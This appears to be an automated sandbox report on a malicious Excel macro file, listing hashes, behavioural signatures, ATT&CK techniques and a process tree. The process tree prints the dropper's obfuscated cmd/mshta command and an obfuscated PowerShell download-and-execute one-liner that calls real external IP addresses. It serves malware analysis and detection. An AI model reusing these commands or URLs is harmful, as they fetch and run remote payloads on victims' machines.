5eb512924e585833ee9f0111efd74c3e3ced26d8a78db2b71d87bb6c9f684791

General

Target

pau073.xlsm
Size

49KB
MD5

0bd0bb6e3b99c184dc8b8a58d2b5f58d
SHA1

3fec116f481763a3adc7c4afab067ce8e78e7cea
SHA256

5eb512924e585833ee9f0111efd74c3e3ced26d8a78db2b71d87bb6c9f684791
SHA512

2e176bd2e223410b56ff698445963a83d0eaac73ba324f36341e1f8605acfb6730967c76da078b77b8323ba6708b23ce720351870a57ea42a295f91a7754d2ed

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe1.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2140	3920	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

36 4076 mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
36	4076	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3920 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 3920 wrote to memory of 2140	3920	EXCEL.EXE	cmd.exe
PID 3920 wrote to memory of 2140	3920	EXCEL.EXE	cmd.exe
PID 2140 wrote to memory of 4076	2140	cmd.exe	mshta.exe
PID 2140 wrote to memory of 4076	2140	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\pau073.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3920

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2140

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe1.html
3⤵
- Blocklisted process makes network request
PID:4076

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
PID:1848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3472

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 404 -p 4076 -ip 4076
1⤵
PID:3724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3920-133-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp

Filesize
64KB

Download
memory/3920-135-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp

Filesize
64KB

Download
memory/3920-134-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp

Filesize
64KB

Download
memory/3920-136-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp

Filesize
64KB

Download
memory/3920-137-0x00007FFE4D530000-0x00007FFE4D540000-memory.dmp

Filesize
64KB

Download
memory/3920-140-0x00007FFE4AEC0000-0x00007FFE4AED0000-memory.dmp

Filesize
64KB

Download
memory/3920-141-0x00007FFE4AEC0000-0x00007FFE4AED0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads